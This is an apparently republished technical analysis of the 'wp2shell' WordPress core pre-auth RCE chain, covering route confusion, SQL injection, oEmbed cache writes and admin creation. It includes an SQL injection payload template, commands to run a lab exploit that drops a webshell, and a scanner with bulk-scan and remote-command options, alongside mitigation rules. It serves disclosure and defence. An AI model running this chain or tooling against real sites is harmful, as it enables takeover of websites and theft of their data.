Critical WordPress Core wp2shell Exploit Chain – Full Technical Analysis & POC
WordPress’s wp2shell vulnerability chain, disclosed by Adam Kues and Mustafa Can İpekçi, links CVE‑2026‑63030 REST route confusion with CVE‑2026‑60137 SQL injection to achieve pre‑authentication remote code execution via a single HTTP request, and the article details the exploit steps, detection scripts, and mitigation measures.
Vulnerability Overview
wp2shell is a pre‑authentication remote code execution chain in WordPress core discovered by Adam Kues and Mustafa Can İpekçi. It combines CVE‑2026‑63030 (REST /batch/v1 route confusion, CVSS 7.5) and CVE‑2026‑60137 (WP_Query::author__not_in SQL injection, CVSS 9.1) to achieve full RCE on any default WordPress installation without authentication.
Affected core versions: 6.9.0‑6.9.4, 7.0.0‑7.0.1; the SQLi alone also affects 6.8.0‑6.8.5. Fixed in 6.8.6, 6.9.5, 7.0.2.
Technical Analysis
2.1 Route confusion – REST batch endpoint
The batch API /wp-json/batch/v1 processes a double‑nested batch request. The router mismatches the intended /wp/v2/widgets handler with the posts::get_items() context, causing the $matches and $validation parameters to diverge. Consequently a request to /wp/v2/widgets is executed as a post query, setting up the next stage.
GET /wp-json/batch/v12.2 SQL injection – author__not_in parameter
In WP_Query the author__not_in parameter is concatenated directly into the SQL statement. Supplying a value such as:
author__not_in=1) AND 1=0 UNION ALL SELECT <23 cols> -- -with per_page=-1 forces $limits to be empty, allowing the UNION‑SELECT payload to match the wp_posts table structure. This yields full database reads (admin password hash, options, user data) and the ability to inject fabricated rows.
2.3 From read to write – abusing oEmbed cache
WordPress creates a real wp_posts entry of type oembed_cache when it processes an [embed]<url>[/embed] shortcode. By injecting a forged oEmbed shortcode via the UNION SELECT, the attacker forces WordPress to fetch oEmbed data from an attacker‑controlled URL and write it back to the database, turning a read‑only injection into a writable row.
Inject a fake [embed]<attacker_url>[/embed] record via UNION SELECT.
When WordPress renders the record, it fetches the external URL.
The fetched data is stored as a genuine wp_posts row (type oembed_cache).
2.4 Privilege escalation and re‑entry
With write access the attacker creates a wp_customize_changeset record whose user_id points to an existing administrator. A crafted post_type=request record creates a circular dependency. During the same batch request WordPress re‑enters parse_request in an admin context, passing the current_user_can('create_users') check because the changeset is bound to the admin user. The attacker then issues POST /wp/v2/users to create a new admin account.
The entire chain—from route confusion to RCE—requires a single HTTP request.
Full Exploit Chain
Step 1: Route confusion
GET /wp-json/batch/v1 (double‑nested)
→ /wp/v2/widgets → posts::get_items()
Step 2: SQL injection (UNION SELECT forged row)
author__not_in = "1) AND 1=0 UNION ALL SELECT <23 cols> -- -"
Step 3: oEmbed write (read → write)
Forge [embed]<url>[/embed] → real wp_posts (oembed_cache)
Step 4: Changeset + re‑entry privilege escalation
Forge wp_customize_changeset (user_id=1) → admin context
Step 5: Create administrator
POST /wp/v2/users in same batch → new admin account
Step 6: RCE
Log in, upload webshell, execute commands, self‑cleanProof‑of‑Concept
Environment setup
# Clone repository
git clone https://github.com/dinosn/wp2shell-lab.git
cd wp2shell-lab
# Start vulnerable WordPress (6.9.4)
make up
# Run detection script
make checkSample output:
[VULNERABLE] http://localhost:8093 (WordPress 6.9.4, affected-full-chain)
[active=fired fast=0.02s slow=4.03s delta=4.01s]Full exploit execution
# Execute full RCE exploit (create admin + webshell + command)
make exploitSample output shows admin creation and command execution (e.g., uid=33(www-data) gid=33(www-data)).
Detection script
# Single‑target non‑destructive check
python3 wp2shell_check.py https://target.example
# Bulk scan
python3 wp2shell_check.py -f sites.txt -t 20 --json > results.json
# Proxy usage
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080
# Authorized RCE execution
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"Supported options: -c CMD (pre‑auth RCE), --proof (read‑only evidence), -f FILE (batch file), -t N (concurrency), --sleep N (injection delay), --route (auto/rest‑route/wp‑json), --proxy, --authorized (enable RCE).
Mitigation
Immediate remediation
Upgrade WordPress core to 6.9.5, 7.0.2, or 6.8.6.
# Verify version
grep "wp_version" wp-includes/version.phpTemporary block of the batch endpoint
Apache .htaccess rule:
# Apache .htaccess rule
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-json/batch/v1 [OR]
RewriteCond %{QUERY_STRING} rest_route=/batch/v1
RewriteRule ^ - [F,L]Nginx rule:
# Nginx rule
location ~ /wp-json/batch/v1 { return 403; }
location ~* \?.*rest_route=/batch/v1 { return 403; }Long‑term security measures
Enable automatic core updates (WordPress 5.6+).
Restrict unauthenticated REST API access via plugins or firewall rules.
Deploy a Web Application Firewall with rules to detect abnormal batch requests.
Monitor WordPress security advisories and apply patches promptly.
Apply the principle of least privilege to database accounts (avoid FILE privilege).
Conduct regular security scans with tools such as WPScan.
Impact Assessment
WordPress powers ~43 % of all websites; the vulnerability affects every default installation.
No plugins or special configuration are required.
A single unauthenticated HTTP request can achieve remote code execution.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Black & White Path
We are the beacon of the cyber world, a stepping stone on the road to security.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
